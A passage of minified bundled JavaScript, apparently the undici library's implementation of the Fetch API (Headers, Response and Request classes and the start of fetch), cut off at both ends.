Y={maxTTL:A?.maxTTL??1e4,lookup:A?.lookup??null,pick:A?.pick??null,dualStack:K,affinity:q,maxItems:A?.maxItems??1/0},z=new q24(Y);return(w)=>{return function(J,O){let X=J.origin.constructor===URL?J.origin:new URL(J.origin);if(ed3(X.hostname)!==0)return w(J,O);return z.runLookup(X,J,($,_)=>{if($)return O.onError($);let G=null;G={...J,servername:X.hostname,origin:_,headers:{host:X.hostname,...J.headers}},w(G,z.getHandler({origin:X,dispatch:w,handler:O},J))}),!0}}}});var d8A=v((t6w,G24)=>{var{kConstruct:Yc3}=MJ(),{kEnumerableProperty:b0A}=j9(),{iteratorMixin:zc3,isValidHeaderName:gRA,isValidHeaderValue:J24}=ZT(),{webidl:ZY}=SZ(),i86=CA("node:assert"),bK1=CA("node:util"),oX=Symbol("headers map"),jT=Symbol("headers map sorted");function H24(A){return A===10||A===13||A===9||A===32}function O24(A){let K=0,q=A.length;while(q>K&&H24(A.charCodeAt(q-1)))--q;while(q>K&&H24(A.charCodeAt(K)))++K;return K===0&&q===A.length?A:A.substring(K,q)}function X24(A,K){if(Array.isArray(K))for(let q=0;q<K.length;++q){let Y=K[q];if(Y.length!==2)throw ZY.errors.exception({header:"Headers constructor",message:`expected name/value pair to be length 2, found ${Y.length}.`});n86(A,Y[0],Y[1])}else if(typeof K==="object"&&K!==null){let q=Object.keys(K);for(let Y=0;Y<q.length;++Y)n86(A,q[Y],K[q[Y]])}else throw ZY.errors.conversionFailed({prefix:"Headers constructor",argument:"Argument 1",types:["sequence<sequence<ByteString>>","record<ByteString, ByteString>"]})}function n86(A,K,q){if(q=O24(q),!gRA(K))throw ZY.errors.invalidArgument({prefix:"Headers.append",value:K,type:"header name"});else if(!J24(q))throw ZY.errors.invalidArgument({prefix:"Headers.append",value:q,type:"header value"});if(_24(A)==="immutable")throw TypeError("immutable");return r86(A).append(K,q,!1)}function $24(A,K){return A[0]<K[0]?-1:1}class xK1{cookies=null;constructor(A){if(A instanceof xK1)this[oX]=new Map(A[oX]),this[jT]=A[jT],this.cookies=A.cookies===null?null:[...A.cookies];else this[oX]=new Map(A),this[jT]=null}contains(A,K){return this[oX].has(K?A:A.toLowerCase())}clear(){this[oX].clear(),this[jT]=null,this.cookies=null}append(A,K,q){this[jT]=null;let Y=q?A:A.toLowerCase(),z=this[oX].get(Y);if(z){let w=Y==="cookie"?"; ":", ";this[oX].set(Y,{name:z.name,value:`${z.value}${w}${K}`})}else this[oX].set(Y,{name:A,value:K});if(Y==="set-cookie")(this.cookies??=[]).push(K)}set(A,K,q){this[jT]=null;let Y=q?A:A.toLowerCase();if(Y==="set-cookie")this.cookies=[K];this[oX].set(Y,{name:A,value:K})}delete(A,K){if(this[jT]=null,!K)A=A.toLowerCase();if(A==="set-cookie")this.cookies=null;this[oX].delete(A)}get(A,K){return this[oX].get(K?A:A.toLowerCase())?.value??null}*[Symbol.iterator](){for(let{0:A,1:{value:K}}of this[oX])yield[A,K]}get entries(){let A={};if(this[oX].size!==0)for(let{name:K,value:q}of this[oX].values())A[K]=q;return A}rawValues(){return this[oX].values()}get entriesList(){let A=[];if(this[oX].size!==0)for(let{0:K,1:{name:q,value:Y}}of this[oX])if(K==="set-cookie")for(let z of this.cookies)A.push([q,z]);else A.push([q,Y]);return A}toSortedArray(){let A=this[oX].size,K=Array(A);if(A<=32){if(A===0)return K;let q=this[oX][Symbol.iterator](),Y=q.next().value;K[0]=[Y[0],Y[1].value],i86(Y[1].value!==null);for(let z=1,w=0,H=0,J=0,O=0,X,$;z<A;++z){$=q.next().value,X=K[z]=[$[0],$[1].value],i86(X[1]!==null),J=0,H=z;while(J<H)if(O=J+(H-J>>1),K[O][0]<=X[0])J=O+1;else H=O;if(z!==O){w=z;while(w>J)K[w]=K[--w];K[J]=X}}if(!q.next().done)throw TypeError("Unreachable");return K}else{let q=0;for(let{0:Y,1:{value:z}}of this[oX])K[q++]=[Y,z],i86(z!==null);return K.sort($24)}}}class ED{#A;#K;constructor(A=void 0){if(ZY.util.markAsUncloneable(this),A===Yc3)return;if(this.#K=new xK1,this.#A="none",A!==void 0)A=ZY.converters.HeadersInit(A,"Headers contructor","init"),X24(this,A)}append(A,K){ZY.brandCheck(this,ED),ZY.argumentLengthCheck(arguments,2,"Headers.append");let q="Headers.append";return A=ZY.converters.ByteString(A,q,"name"),K=ZY.converters.ByteString(K,q,"value"),n86(this,A,K)}delete(A){ZY.brandCheck(this,ED),ZY.argumentLengthCheck(arguments,1,"Headers.delete");let K="Headers.delete";if(A=ZY.converters.ByteString(A,K,"name"),!gRA(A))throw ZY.errors.invalidArgument({prefix:"Headers.delete",value:A,type:"header name"});if(this.#A==="immutable")throw TypeError("immutable");if(!this.#K.contains(A,!1))return;this.#K.delete(A,!1)}get(A){ZY.brandCheck(this,ED),ZY.argumentLengthCheck(arguments,1,"Headers.get");let K="Headers.get";if(A=ZY.converters.ByteString(A,K,"name"),!gRA(A))throw ZY.errors.invalidArgument({prefix:K,value:A,type:"header name"});return this.#K.get(A,!1)}has(A){ZY.brandCheck(this,ED),ZY.argumentLengthCheck(arguments,1,"Headers.has");let K="Headers.has";if(A=ZY.converters.ByteString(A,K,"name"),!gRA(A))throw ZY.errors.invalidArgument({prefix:K,value:A,type:"header name"});return this.#K.contains(A,!1)}set(A,K){ZY.brandCheck(this,ED),ZY.argumentLengthCheck(arguments,2,"Headers.set");let q="Headers.set";if(A=ZY.converters.ByteString(A,q,"name"),K=ZY.converters.ByteString(K,q,"value"),K=O24(K),!gRA(A))throw ZY.errors.invalidArgument({prefix:q,value:A,type:"header name"});else if(!J24(K))throw ZY.errors.invalidArgument({prefix:q,value:K,type:"header value"});if(this.#A==="immutable")throw TypeError("immutable");this.#K.set(A,K,!1)}getSetCookie(){ZY.brandCheck(this,ED);let A=this.#K.cookies;if(A)return[...A];return[]}get[jT](){if(this.#K[jT])return this.#K[jT];let A=[],K=this.#K.toSortedArray(),q=this.#K.cookies;if(q===null||q.length===1)return this.#K[jT]=K;for(let Y=0;Y<K.length;++Y){let{0:z,1:w}=K[Y];if(z==="set-cookie")for(let H=0;H<q.length;++H)A.push([z,q[H]]);else A.push([z,w])}return this.#K[jT]=A}[bK1.inspect.custom](A,K){return K.depth??=A,`Headers ${bK1.formatWithOptions(K,this.#K.entries)}`}static getHeadersGuard(A){return A.#A}static setHeadersGuard(A,K){A.#A=K}static getHeadersList(A){return A.#K}static setHeadersList(A,K){A.#K=K}}var{getHeadersGuard:_24,setHeadersGuard:wc3,getHeadersList:r86,setHeadersList:Hc3}=ED;Reflect.deleteProperty(ED,"getHeadersGuard");Reflect.deleteProperty(ED,"setHeadersGuard");Reflect.deleteProperty(ED,"getHeadersList");Reflect.deleteProperty(ED,"setHeadersList");zc3("Headers",ED,jT,0,1);Object.defineProperties(ED.prototype,{append:b0A,delete:b0A,get:b0A,has:b0A,set:b0A,getSetCookie:b0A,[Symbol.toStringTag]:{value:"Headers",configurable:!0},[bK1.inspect.custom]:{enumerable:!1}});ZY.converters.HeadersInit=function(A,K,q){if(ZY.util.Type(A)==="Object"){let Y=Reflect.get(A,Symbol.iterator);if(!bK1.types.isProxy(A)&&Y===ED.prototype.entries)try{return r86(A).entriesList}catch{}if(typeof Y==="function")return ZY.converters["sequence<sequence<ByteString>>"](A,K,q,Y.bind(A));return ZY.converters["record<ByteString, ByteString>"](A,K,q)}throw ZY.errors.conversionFailed({prefix:"Headers constructor",argument:"Argument 1",types:["sequence<sequence<ByteString>>","record<ByteString, ByteString>"]})};G24.exports={fill:X24,compareHeaderName:$24,Headers:ED,HeadersList:xK1,getHeadersGuard:_24,setHeadersGuard:wc3,setHeadersList:Hc3,getHeadersList:r86}});var QRA=v((e6w,T24)=>{var{Headers:P24,HeadersList:Z24,fill:Jc3,getHeadersGuard:Oc3,setHeadersGuard:V24,setHeadersList:f24}=d8A(),{extractBody:W24,cloneBody:Xc3,mixinBody:$c3,hasFinalizationRegistry:_c3,streamRegistry:Gc3,bodyUnusable:Zc3}=j0A(),o86=j9(),D24=CA("node:util"),{kEnumerableProperty:MT}=o86,{isValidReasonPhrase:Wc3,isCancelled:Dc3,isAborted:jc3,isBlobLike:Mc3,serializeJavascriptValueToJSONString:Pc3,isErrorLike:Vc3,isomorphicEncode:fc3,environmentSettingsObject:Nc3}=ZT(),{redirectStatusSet:Tc3,nullBodyStatus:vc3}=HRA(),{kState:rO,kHeaders:PQ}=kn(),{webidl:N3}=SZ(),{FormData:Ec3}=_RA(),{URLSerializer:j24}=IV(),{kConstruct:BK1}=MJ(),a86=CA("node:assert"),{types:kc3}=CA("node:util"),Cc3=new TextEncoder("utf-8");class kD{static error(){return FRA(mK1(),"immutable")}static json(A,K={}){if(N3.argumentLengthCheck(arguments,1,"Response.json"),K!==null)K=N3.converters.ResponseInit(K);let q=Cc3.encode(Pc3(A)),Y=W24(q),z=FRA(x0A({}),"response");return M24(z,K,{body:Y[0],type:"application/json"}),z}static redirect(A,K=302){N3.argumentLengthCheck(arguments,1,"Response.redirect"),A=N3.converters.USVString(A),K=N3.converters["unsigned short"](K);let q;try{q=new URL(A,Nc3.settingsObject.baseUrl)}catch(w){throw TypeError(`Failed to parse URL from ${A}`,{cause:w})}if(!Tc3.has(K))throw RangeError(`Invalid status code ${K}`);let Y=FRA(x0A({}),"immutable");Y[rO].status=K;let z=fc3(j24(q));return Y[rO].headersList.append("location",z,!0),Y}constructor(A=null,K={}){if(N3.util.markAsUncloneable(this),A===BK1)return;if(A!==null)A=N3.converters.BodyInit(A);K=N3.converters.ResponseInit(K),this[rO]=x0A({}),this[PQ]=new P24(BK1),V24(this[PQ],"response"),f24(this[PQ],this[rO].headersList);let q=null;if(A!=null){let[Y,z]=W24(A);q={body:Y,type:z}}M24(this,K,q)}get type(){return N3.brandCheck(this,kD),this[rO].type}get url(){N3.brandCheck(this,kD);let A=this[rO].urlList,K=A[A.length-1]??null;if(K===null)return"";return j24(K,!0)}get redirected(){return N3.brandCheck(this,kD),this[rO].urlList.length>1}get status(){return N3.brandCheck(this,kD),this[rO].status}get ok(){return N3.brandCheck(this,kD),this[rO].status>=200&&this[rO].status<=299}get statusText(){return N3.brandCheck(this,kD),this[rO].statusText}get headers(){return N3.brandCheck(this,kD),this[PQ]}get body(){return N3.brandCheck(this,kD),this[rO].body?this[rO].body.stream:null}get bodyUsed(){return N3.brandCheck(this,kD),!!this[rO].body&&o86.isDisturbed(this[rO].body.stream)}clone(){if(N3.brandCheck(this,kD),Zc3(this))throw N3.errors.exception({header:"Response.clone",message:"Body has already been consumed."});let A=s86(this[rO]);return FRA(A,Oc3(this[PQ]))}[D24.inspect.custom](A,K){if(K.depth===null)K.depth=2;K.colors??=!0;let q={status:this.status,statusText:this.statusText,headers:this.headers,body:this.body,bodyUsed:this.bodyUsed,ok:this.ok,redirected:this.redirected,type:this.type,url:this.url};return`Response ${D24.formatWithOptions(K,q)}`}}$c3(kD);Object.defineProperties(kD.prototype,{type:MT,url:MT,status:MT,ok:MT,redirected:MT,statusText:MT,headers:MT,clone:MT,body:MT,bodyUsed:MT,[Symbol.toStringTag]:{value:"Response",configurable:!0}});Object.defineProperties(kD,{json:MT,redirect:MT,error:MT});function s86(A){if(A.internalResponse)return N24(s86(A.internalResponse),A.type);let K=x0A({...A,body:null});if(A.body!=null)K.body=Xc3(K,A.body);return K}function x0A(A){return{aborted:!1,rangeRequested:!1,timingAllowPassed:!1,requestIncludesCredentials:!1,type:"default",status:200,timingInfo:null,cacheState:"",statusText:"",...A,headersList:A?.headersList?new Z24(A?.headersList):new Z24,urlList:A?.urlList?[...A.urlList]:[]}}function mK1(A){let K=Vc3(A);return x0A({type:"error",status:0,error:K?A:Error(A?String(A):A),aborted:A&&A.name==="AbortError"})}function Lc3(A){return A.type==="error"&&A.status===0}function uK1(A,K){return K={internalResponse:A,...K},new Proxy(A,{get(q,Y){return Y in K?K[Y]:q[Y]},set(q,Y,z){return a86(!(Y in K)),q[Y]=z,!0}})}function N24(A,K){if(K==="basic")return uK1(A,{type:"basic",headersList:A.headersList});else if(K==="cors")return uK1(A,{type:"cors",headersList:A.headersList});else if(K==="opaque")return uK1(A,{type:"opaque",urlList:Object.freeze([]),status:0,statusText:"",body:null});else if(K==="opaqueredirect")return uK1(A,{type:"opaqueredirect",status:0,statusText:"",headersList:[],body:null});else a86(!1)}function Rc3(A,K=null){return a86(Dc3(A)),jc3(A)?mK1(Object.assign(new DOMException("The operation was aborted.","AbortError"),{cause:K})):mK1(Object.assign(new DOMException("Request was cancelled."),{cause:K}))}function M24(A,K,q){if(K.status!==null&&(K.status<200||K.status>599))throw RangeError('init["status"] must be in the range of 200 to 599, inclusive.');if("statusText"in K&&K.statusText!=null){if(!Wc3(String(K.statusText)))throw TypeError("Invalid statusText")}if("status"in K&&K.status!=null)A[rO].status=K.status;if("statusText"in K&&K.statusText!=null)A[rO].statusText=K.statusText;if("headers"in K&&K.headers!=null)Jc3(A[PQ],K.headers);if(q){if(vc3.includes(A.status))throw N3.errors.exception({header:"Response constructor",message:`Invalid response status code ${A.status}`});if(A[rO].body=q.body,q.type!=null&&!A[rO].headersList.contains("content-type",!0))A[rO].headersList.append("content-type",q.type,!0)}}function FRA(A,K){let q=new kD(BK1);if(q[rO]=A,q[PQ]=new P24(BK1),f24(q[PQ],A.headersList),V24(q[PQ],K),_c3&&A.body?.stream)Gc3.register(q,new WeakRef(A.body.stream));return q}N3.converters.ReadableStream=N3.interfaceConverter(ReadableStream);N3.converters.FormData=N3.interfaceConverter(Ec3);N3.converters.URLSearchParams=N3.interfaceConverter(URLSearchParams);N3.converters.XMLHttpRequestBodyInit=function(A,K,q){if(typeof A==="string")return N3.converters.USVString(A,K,q);if(Mc3(A))return N3.converters.Blob(A,K,q,{strict:!1});if(ArrayBuffer.isView(A)||kc3.isArrayBuffer(A))return N3.converters.BufferSource(A,K,q);if(o86.isFormDataLike(A))return N3.converters.FormData(A,K,q,{strict:!1});if(A instanceof URLSearchParams)return N3.converters.URLSearchParams(A,K,q);return N3.converters.DOMString(A,K,q)};N3.converters.BodyInit=function(A,K,q){if(A instanceof ReadableStream)return N3.converters.ReadableStream(A,K,q);if(A?.[Symbol.asyncIterator])return A;return N3.converters.XMLHttpRequestBodyInit(A,K,q)};N3.converters.ResponseInit=N3.dictionaryConverter([{key:"status",converter:N3.converters["unsigned short"],defaultValue:()=>200},{key:"statusText",converter:N3.converters.ByteString,defaultValue:()=>""},{key:"headers",converter:N3.converters.HeadersInit}]);T24.exports={isNetworkError:Lc3,makeNetworkError:mK1,makeResponse:x0A,makeAppropriateNetworkError:Rc3,filterResponse:N24,Response:kD,cloneResponse:s86,fromInnerResponse:FRA}});var R24=v((A8w,L24)=>{var{kConnected:v24,kSize:E24}=MJ();class k24{constructor(A){this.value=A}deref(){return this.value[v24]===0&&this.value[E24]===0?void 0:this.value}}class C24{constructor(A){this.finalizer=A}register(A,K){if(A.on)A.on("disconnect",()=>{if(A[v24]===0&&A[E24]===0)this.finalizer(K)})}unregister(A){}}L24.exports=function(){if(process.env.NODE_V8_COVERAGE&&process.version.startsWith("v18"))return process._rawDebug("Using compatibility WeakRef and FinalizationRegistry"),{WeakRef:k24,FinalizationRegistry:C24};return{WeakRef,FinalizationRegistry}}});var u0A=v((K8w,d24)=>{var{extractBody:yc3,mixinBody:Ic3,cloneBody:Sc3,bodyUnusable:y24}=j0A(),{Headers:g24,fill:hc3,HeadersList:UK1,setHeadersGuard:e86,getHeadersGuard:bc3,setHeadersList:F24,getHeadersList:I24}=d8A(),{FinalizationRegistry:xc3}=R24()(),FK1=j9(),S24=CA("node:util"),{isValidHTTPToken:uc3,sameOrigin:h24,environmentSettingsObject:gK1}=ZT(),{forbiddenMethodsSet:Bc3,corsSafeListedMethodsSet:mc3,referrerPolicy:gc3,requestRedirect:Fc3,requestMode:Qc3,requestCredentials:Uc3,requestCache:pc3,requestDuplex:dc3}=HRA(),{kEnumerableProperty:aX,normalizedMethodRecordsBase:cc3,normalizedMethodRecords:lc3}=FK1,{kHeaders:PT,kSignal:QK1,kState:bH,kDispatcher:t86}=kn(),{webidl:vq}=SZ(),{URLSerializer:ic3}=IV(),{kConstruct:pK1}=MJ(),nc3=CA("node:assert"),{getMaxListeners:b24,setMaxListeners:x24,getEventListeners:rc3,defaultMaxListeners:u24}=CA("node:events"),oc3=Symbol("abortController"),Q24=new xc3(({signal:A,abort:K})=>{A.removeEventListener("abort",K)}),dK1=new WeakMap;function B24(A){return K;function K(){let q=A.deref();if(q!==void 0){Q24.unregister(K),this.removeEventListener("abort",K),q.abort(this.reason);let Y=dK1.get(q.signal);if(Y!==void 0){if(Y.size!==0){for(let z of Y){let w=z.deref();if(w!==void 0)w.abort(this.reason)}Y.clear()}dK1.delete(q.signal)}}}}var m24=!1;class Ww{constructor(A,K={}){if(vq.util.markAsUncloneable(this),A===pK1)return;let q="Request constructor";vq.argumentLengthCheck(arguments,1,q),A=vq.converters.RequestInfo(A,q,"input"),K=vq.converters.RequestInit(K,q,"init");let Y=null,z=null,w=gK1.settingsObject.baseUrl,H=null;if(typeof A==="string"){this[t86]=K.dispatcher;let j;try{j=new URL(A,w)}catch(M){throw TypeError("Failed to parse URL from "+A,{cause:M})}if(j.username||j.password)throw TypeError("Request cannot be constructed from a URL that includes credentials: "+A);Y=cK1({urlList:[j]}),z="cors"}else this[t86]=K.dispatcher||A[t86],nc3(A instanceof Ww),Y=A[bH],H=A[QK1];let J=gK1.settingsObject.origin,O="client";if(Y.window?.constructor?.name==="EnvironmentSettingsObject"&&h24(Y.window,J))O=Y.window;if(K.window!=null)throw TypeError(`'window' option '${O}' must be null`);if("window"in K)O="no-window";Y=cK1({method:Y.method,headersList:Y.headersList,unsafeRequest:Y.unsafeRequest,client:gK1.settingsObject,window:O,priority:Y.priority,origin:Y.origin,referrer:Y.referrer,referrerPolicy:Y.referrerPolicy,mode:Y.mode,credentials:Y.credentials,cache:Y.cache,redirect:Y.redirect,integrity:Y.integrity,keepalive:Y.keepalive,reloadNavigation:Y.reloadNavigation,historyNavigation:Y.historyNavigation,urlList:[...Y.urlList]});let X=Object.keys(K).length!==0;if(X){if(Y.mode==="navigate")Y.mode="same-origin";Y.reloadNavigation=!1,Y.historyNavigation=!1,Y.origin="client",Y.referrer="client",Y.referrerPolicy="",Y.url=Y.urlList[Y.urlList.length-1],Y.urlList=[Y.url]}if(K.referrer!==void 0){let j=K.referrer;if(j==="")Y.referrer="no-referrer";else{let M;try{M=new URL(j,w)}catch(P){throw TypeError(`Referrer "${j}" is not a valid URL.`,{cause:P})}if(M.protocol==="about:"&&M.hostname==="client"||J&&!h24(M,gK1.settingsObject.baseUrl))Y.referrer="client";else Y.referrer=M}}if(K.referrerPolicy!==void 0)Y.referrerPolicy=K.referrerPolicy;let $;if(K.mode!==void 0)$=K.mode;else $=z;if($==="navigate")throw vq.errors.exception({header:"Request constructor",message:"invalid request mode navigate."});if($!=null)Y.mode=$;if(K.credentials!==void 0)Y.credentials=K.credentials;if(K.cache!==void 0)Y.cache=K.cache;if(Y.cache==="only-if-cached"&&Y.mode!=="same-origin")throw TypeError("'only-if-cached' can be set only with 'same-origin' mode");if(K.redirect!==void 0)Y.redirect=K.redirect;if(K.integrity!=null)Y.integrity=String(K.integrity);if(K.keepalive!==void 0)Y.keepalive=Boolean(K.keepalive);if(K.method!==void 0){let j=K.method,M=lc3[j];if(M!==void 0)Y.method=M;else{if(!uc3(j))throw TypeError(`'${j}' is not a valid HTTP method.`);let P=j.toUpperCase();if(Bc3.has(P))throw TypeError(`'${j}' HTTP method is unsupported.`);j=cc3[P]??j,Y.method=j}if(!m24&&Y.method==="patch")process.emitWarning("Using `patch` is highly likely to result in a `405 Method Not Allowed`. `PATCH` is much more likely to succeed.",{code:"UNDICI-FETCH-patch"}),m24=!0}if(K.signal!==void 0)H=K.signal;this[bH]=Y;let _=new AbortController;if(this[QK1]=_.signal,H!=null){if(!H||typeof H.aborted!=="boolean"||typeof H.addEventListener!=="function")throw TypeError("Failed to construct 'Request': member signal is not of type AbortSignal.");if(H.aborted)_.abort(H.reason);else{this[oc3]=_;let j=new WeakRef(_),M=B24(j);try{if(typeof b24==="function"&&b24(H)===u24)x24(1500,H);else if(rc3(H,"abort").length>=u24)x24(1500,H)}catch{}FK1.addAbortListener(H,M),Q24.register(_,{signal:H,abort:M},M)}}if(this[PT]=new g24(pK1),F24(this[PT],Y.headersList),e86(this[PT],"request"),$==="no-cors"){if(!mc3.has(Y.method))throw TypeError(`'${Y.method} is unsupported in no-cors mode.`);e86(this[PT],"request-no-cors")}if(X){let j=I24(this[PT]),M=K.headers!==void 0?K.headers:new UK1(j);if(j.clear(),M instanceof UK1){for(let{name:P,value:f}of M.rawValues())j.append(P,f,!1);j.cookies=M.cookies}else hc3(this[PT],M)}let G=A instanceof Ww?A[bH].body:null;if((K.body!=null||G!=null)&&(Y.method==="GET"||Y.method==="HEAD"))throw TypeError("Request with GET/HEAD method cannot have body.");let Z=null;if(K.body!=null){let[j,M]=yc3(K.body,Y.keepalive);if(Z=j,M&&!I24(this[PT]).contains("content-type",!0))this[PT].append("content-type",M)}let W=Z??G;if(W!=null&&W.source==null){if(Z!=null&&K.duplex==null)throw TypeError("RequestInit: duplex option is required when sending a body.");if(Y.mode!=="same-origin"&&Y.mode!=="cors")throw TypeError('If request is made from ReadableStream, mode should be "same-origin" or "cors"');Y.useCORSPreflightFlag=!0}let D=W;if(Z==null&&G!=null){if(y24(A))throw TypeError("Cannot construct a Request with a Request object that has already been used.");let j=new TransformStream;G.stream.pipeThrough(j),D={source:G.source,length:G.length,stream:j.readable}}this[bH].body=D}get method(){return vq.brandCheck(this,Ww),this[bH].method}get url(){return vq.brandCheck(this,Ww),ic3(this[bH].url)}get headers(){return vq.brandCheck(this,Ww),this[PT]}get destination(){return vq.brandCheck(this,Ww),this[bH].destination}get referrer(){if(vq.brandCheck(this,Ww),this[bH].referrer==="no-referrer")return"";if(this[bH].referrer==="client")return"about:client";return this[bH].referrer.toString()}get referrerPolicy(){return vq.brandCheck(this,Ww),this[bH].referrerPolicy}get mode(){return vq.brandCheck(this,Ww),this[bH].mode}get credentials(){return this[bH].credentials}get cache(){return vq.brandCheck(this,Ww),this[bH].cache}get redirect(){return vq.brandCheck(this,Ww),this[bH].redirect}get integrity(){return vq.brandCheck(this,Ww),this[bH].integrity}get keepalive(){return vq.brandCheck(this,Ww),this[bH].keepalive}get isReloadNavigation(){return vq.brandCheck(this,Ww),this[bH].reloadNavigation}get isHistoryNavigation(){return vq.brandCheck(this,Ww),this[bH].historyNavigation}get signal(){return vq.brandCheck(this,Ww),this[QK1]}get body(){return vq.brandCheck(this,Ww),this[bH].body?this[bH].body.stream:null}get bodyUsed(){return vq.brandCheck(this,Ww),!!this[bH].body&&FK1.isDisturbed(this[bH].body.stream)}get duplex(){return vq.brandCheck(this,Ww),"half"}clone(){if(vq.brandCheck(this,Ww),y24(this))throw TypeError("unusable");let A=U24(this[bH]),K=new AbortController;if(this.signal.aborted)K.abort(this.signal.reason);else{let q=dK1.get(this.signal);if(q===void 0)q=new Set,dK1.set(this.signal,q);let Y=new WeakRef(K);q.add(Y),FK1.addAbortListener(K.signal,B24(Y))}return p24(A,K.signal,bc3(this[PT]))}[S24.inspect.custom](A,K){if(K.depth===null)K.depth=2;K.colors??=!0;let q={method:this.method,url:this.url,headers:this.headers,destination:this.destination,referrer:this.referrer,referrerPolicy:this.referrerPolicy,mode:this.mode,credentials:this.credentials,cache:this.cache,redirect:this.redirect,integrity:this.integrity,keepalive:this.keepalive,isReloadNavigation:this.isReloadNavigation,isHistoryNavigation:this.isHistoryNavigation,signal:this.signal};return`Request ${S24.formatWithOptions(K,q)}`}}Ic3(Ww);function cK1(A){return{method:A.method??"GET",localURLsOnly:A.localURLsOnly??!1,unsafeRequest:A.unsafeRequest??!1,body:A.body??null,client:A.client??null,reservedClient:A.reservedClient??null,replacesClientId:A.replacesClientId??"",window:A.window??"client",keepalive:A.keepalive??!1,serviceWorkers:A.serviceWorkers??"all",initiator:A.initiator??"",destination:A.destination??"",priority:A.priority??null,origin:A.origin??"client",policyContainer:A.policyContainer??"client",referrer:A.referrer??"client",referrerPolicy:A.referrerPolicy??"",mode:A.mode??"no-cors",useCORSPreflightFlag:A.useCORSPreflightFlag??!1,credentials:A.credentials??"same-origin",useCredentials:A.useCredentials??!1,cache:A.cache??"default",redirect:A.redirect??"follow",integrity:A.integrity??"",cryptoGraphicsNonceMetadata:A.cryptoGraphicsNonceMetadata??"",parserMetadata:A.parserMetadata??"",reloadNavigation:A.reloadNavigation??!1,historyNavigation:A.historyNavigation??!1,userActivation:A.userActivation??!1,taintedOrigin:A.taintedOrigin??!1,redirectCount:A.redirectCount??0,responseTainting:A.responseTainting??"basic",preventNoCacheCacheControlHeaderModification:A.preventNoCacheCacheControlHeaderModification??!1,done:A.done??!1,timingAllowFailed:A.timingAllowFailed??!1,urlList:A.urlList,url:A.urlList[0],headersList:A.headersList?new UK1(A.headersList):new UK1}}function U24(A){let K=cK1({...A,body:null});if(A.body!=null)K.body=Sc3(K,A.body);return K}function p24(A,K,q){let Y=new Ww(pK1);return Y[bH]=A,Y[QK1]=K,Y[PT]=new g24(pK1),F24(Y[PT],A.headersList),e86(Y[PT],q),Y}Object.defineProperties(Ww.prototype,{method:aX,url:aX,headers:aX,redirect:aX,clone:aX,signal:aX,duplex:aX,destination:aX,body:aX,bodyUsed:aX,isHistoryNavigation:aX,isReloadNavigation:aX,keepalive:aX,integrity:aX,cache:aX,credentials:aX,attribute:aX,referrerPolicy:aX,referrer:aX,mode:aX,[Symbol.toStringTag]:{value:"Request",configurable:!0}});vq.converters.Request=vq.interfaceConverter(Ww);vq.converters.RequestInfo=function(A,K,q){if(typeof A==="string")return vq.converters.USVString(A,K,q);if(A instanceof Ww)return vq.converters.Request(A,K,q);return vq.converters.USVString(A,K,q)};vq.converters.AbortSignal=vq.interfaceConverter(AbortSignal);vq.converters.RequestInit=vq.dictionaryConverter([{key:"method",converter:vq.converters.ByteString},{key:"headers",converter:vq.converters.HeadersInit},{key:"body",converter:vq.nullableConverter(vq.converters.BodyInit)},{key:"referrer",converter:vq.converters.USVString},{key:"referrerPolicy",converter:vq.converters.DOMString,allowedValues:gc3},{key:"mode",converter:vq.converters.DOMString,allowedValues:Qc3},{key:"credentials",converter:vq.converters.DOMString,allowedValues:Uc3},{key:"cache",converter:vq.converters.DOMString,allowedValues:pc3},{key:"redirect",converter:vq.converters.DOMString,allowedValues:Fc3},{key:"integrity",converter:vq.converters.DOMString},{key:"keepalive",converter:vq.converters.boolean},{key:"signal",converter:vq.nullableConverter((A)=>vq.converters.AbortSignal(A,"RequestInit","signal",{strict:!1}))},{key:"window",converter:vq.converters.any},{key:"duplex",converter:vq.converters.DOMString,allowedValues:dc3},{key:"dispatcher",converter:vq.converters.any}]);d24.exports={Request:Ww,makeRequest:cK1,fromInnerRequest:p24,cloneRequest:U24}});var pRA=v((q8w,zz4)=>{var{makeNetworkError:jz,makeAppropriateNetworkError:lK1,filterResponse:A46,makeResponse:iK1,fromInnerResponse:ac3}=QRA(),{HeadersList:c24}=d8A(),{Request:sc3,cloneRequest:tc3}=u0A(),Bn=CA("node:zlib"),{bytesMatch:ec3,makePolicyContainer:Al3,clonePolicyContainer:Kl3,requestBadPort:ql3,TAOCheck:Yl3,appendRequestOriginHeader:zl3,responseLocationURL:wl3,requestCurrentURL:fx,setRequestReferrerPolicyOnRedirect:Hl3,tryUpgradeRequestToAPotentiallyTrustworthyURL:Jl3,createOpaqueTimingInfo:w46,appendFetchMetadata:Ol3,corsCheck:Xl3,crossOriginResourcePolicyCheck:$l3,determineRequestsReferrer:_l3,coarsenedSharedCurrentTime:URA,createDeferredPromise:Gl3,isBlobLike:Zl3,sameOrigin:z46,isCancelled:c8A,isAborted:l24,isErrorLike:Wl3,fullyReadBody:Dl3,readableStreamClose:jl3,isomorphicEncode:nK1,urlIsLocal:Ml3,urlIsHttpHttpsScheme:H46,urlHasHttpsScheme:Pl3,clampAndCoarsenConnectionTimingInfo:Vl3,simpleRangeHeaderValue:fl3,buildContentRange:Nl3,createInflate:Tl3,extractMimeType:vl3}=ZT(),{kState:o24,kDispatcher:El3}=kn(),l8A=CA("node:assert"),{safelyExtractBody:J46,extractBody:i24}=j0A(),{redirectStatusSet:a24,nullBodyStatus:s24,safeMethodsSet:kl3,requestBodyHeader:Cl3,subresourceSet:Ll3}=HRA(),Rl3=CA("node:events"),{Readable:yl3,pipeline:Il3,finished:Sl3}=CA("node:stream"),{addAbortListener:hl3,isErrored:bl3,isReadable:rK1,bufferToLowerCasedHeaderName:n24}=j9(),{dataURLProcessor:xl3,serializeAMimeType:ul3,minimizeSupportedMimeType:Bl3}=IV(),{getGlobalDispatcher:ml3}=SK1(),{webidl:gl3}=SZ(),{STATUS_CODES:Fl3}=CA("node:http"),Ql3=["GET","HEAD"],Ul3=typeof __UNDICI_IS_NODE__<"u"||typeof esbuildDetection<"u"?"node":"undici",K46;class O46 extends Rl3{constructor(A){super();this.dispatcher=A,this.connection=null,this.dump=!1,this.state="ongoing"}terminate(A){if(this.state!=="ongoing")return;this.state="terminated",this.connection?.destroy(A),this.emit("terminated",A)}abort(A){if(this.state!=="ongoing")return;if(this.state="aborted",!A)A=new DOMException("The operation was aborted.","AbortError");this.serializedAbortReason=A,this.connection?.destroy(A),this.emit("terminated",A)}}function pl3(A){t24(A,"fetch")}function dl3(A,K=void 0){gl3.argumentLengthCheck(arguments,1,"globalThis.fetch");let q=Gl3(),Y;try{Y=new sc3(A,K)}catch($){return q.reject($),q.promise}let z=Y[o24];if(Y.signal.aborted)return 